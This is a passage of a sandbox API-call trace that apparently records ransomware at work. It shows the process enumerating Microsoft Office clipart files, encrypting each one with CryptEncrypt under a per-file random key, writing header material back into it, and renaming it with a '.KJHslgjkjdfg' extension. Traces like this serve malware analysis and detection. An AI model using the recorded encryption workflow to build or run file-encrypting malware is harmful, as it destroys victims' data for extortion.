lpNewFilePointer=0x0) returned 1 [0203.061] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x99a2, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x99a2, lpOverlapped=0x0) returned 1 [0203.063] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x99b0, dwBufLen=0x99b0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x99b0) returned 1 [0203.063] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.063] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x99b0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x99b0, lpOverlapped=0x0) returned 1 [0203.063] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.063] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x9a84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.063] SetEndOfFile (hFile=0x130) returned 1 [0203.066] GetProcessHeap () returned 0x2ef0000 [0203.066] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0203.066] GetProcessHeap () returned 0x2ef0000 [0203.066] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0203.067] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185786.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185786.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185786.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185786.wmf.kjhslgjkjdfg")) returned 1 [0203.068] CloseHandle (hObject=0x130) returned 1 [0203.068] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564c4a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x50b6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0185790.WMF", cAlternateFileName="")) returned 1 [0203.068] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185790.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185790.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0203.069] GetProcessHeap () returned 0x2ef0000 [0203.069] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0203.069] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0203.069] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0203.070] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xa, lpOverlapped=0x0) returned 1 [0203.072] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.072] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.072] GetProcessHeap () returned 0x2ef0000 [0203.072] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0203.072] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0203.072] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.072] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0203.072] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0203.072] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0203.072] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0203.073] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0203.073] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0203.073] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.073] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.073] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.073] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x50b6, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x50b6, lpOverlapped=0x0) returned 1 [0203.074] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x50c0, dwBufLen=0x50c0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x50c0) returned 1 [0203.074] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.074] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x50c0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x50c0, lpOverlapped=0x0) returned 1 [0203.074] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.075] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x5194, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.075] SetEndOfFile (hFile=0x130) returned 1 [0203.077] GetProcessHeap () returned 0x2ef0000 [0203.077] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0203.077] GetProcessHeap () returned 0x2ef0000 [0203.077] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0203.078] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185790.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185790.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185790.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185790.wmf.kjhslgjkjdfg")) returned 1 [0203.079] CloseHandle (hObject=0x130) returned 1 [0203.080] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fbf9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x650c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0185796.WMF", cAlternateFileName="")) returned 1 [0203.080] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185796.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185796.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0203.081] GetProcessHeap () returned 0x2ef0000 [0203.081] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0203.081] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0203.081] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0203.081] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0203.084] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.084] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.084] GetProcessHeap () returned 0x2ef0000 [0203.084] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0203.084] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0203.084] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.084] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0203.084] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0203.084] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0203.084] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0203.084] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0203.084] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0203.084] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.085] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.085] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.085] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x650c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x650c, lpOverlapped=0x0) returned 1 [0203.086] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x6510, dwBufLen=0x6510 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x6510) returned 1 [0203.086] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.086] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x6510, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x6510, lpOverlapped=0x0) returned 1 [0203.086] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.086] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x65e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.087] SetEndOfFile (hFile=0x130) returned 1 [0203.090] GetProcessHeap () returned 0x2ef0000 [0203.090] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0203.090] GetProcessHeap () returned 0x2ef0000 [0203.090] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0203.090] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185796.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185796.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185796.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185796.wmf.kjhslgjkjdfg")) returned 1 [0203.091] CloseHandle (hObject=0x130) returned 1 [0203.091] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564c4a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8420, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0185798.WMF", cAlternateFileName="")) returned 1 [0203.091] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185798.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185798.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0203.092] GetProcessHeap () returned 0x2ef0000 [0203.092] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0203.092] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0203.092] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0203.093] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.093] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.093] GetProcessHeap () returned 0x2ef0000 [0203.093] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0203.093] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0203.093] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.093] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0203.102] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0203.102] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0203.102] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0203.102] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0203.102] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0203.102] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.102] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.102] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.102] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x8420, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x8420, lpOverlapped=0x0) returned 1 [0203.103] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x8420, dwBufLen=0x8420 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x8420) returned 1 [0203.104] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.104] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x8420, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x8420, lpOverlapped=0x0) returned 1 [0203.104] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.104] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x84f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.104] SetEndOfFile (hFile=0x130) returned 1 [0203.106] GetProcessHeap () returned 0x2ef0000 [0203.106] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0203.106] GetProcessHeap () returned 0x2ef0000 [0203.106] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0203.106] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185798.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185798.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185798.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185798.wmf.kjhslgjkjdfg")) returned 1 [0203.109] CloseHandle (hObject=0x130) returned 1 [0203.109] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564c4a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5eae, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0185800.WMF", cAlternateFileName="")) returned 1 [0203.109] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185800.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185800.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0203.111] GetProcessHeap () returned 0x2ef0000 [0203.111] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0203.111] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0203.111] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0203.111] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x2, lpOverlapped=0x0) returned 1 [0203.114] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.114] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.114] GetProcessHeap () returned 0x2ef0000 [0203.114] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0203.114] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0203.114] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.114] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0203.114] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0203.114] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0203.114] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0203.114] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0203.115] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0203.115] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.115] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.115] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.115] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x5eae, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x5eae, lpOverlapped=0x0) returned 1 [0203.116] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x5eb0, dwBufLen=0x5eb0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x5eb0) returned 1 [0203.116] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.116] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x5eb0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x5eb0, lpOverlapped=0x0) returned 1 [0203.116] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.116] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x5f84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.117] SetEndOfFile (hFile=0x130) returned 1 [0203.119] GetProcessHeap () returned 0x2ef0000 [0203.119] HeapFree (in: 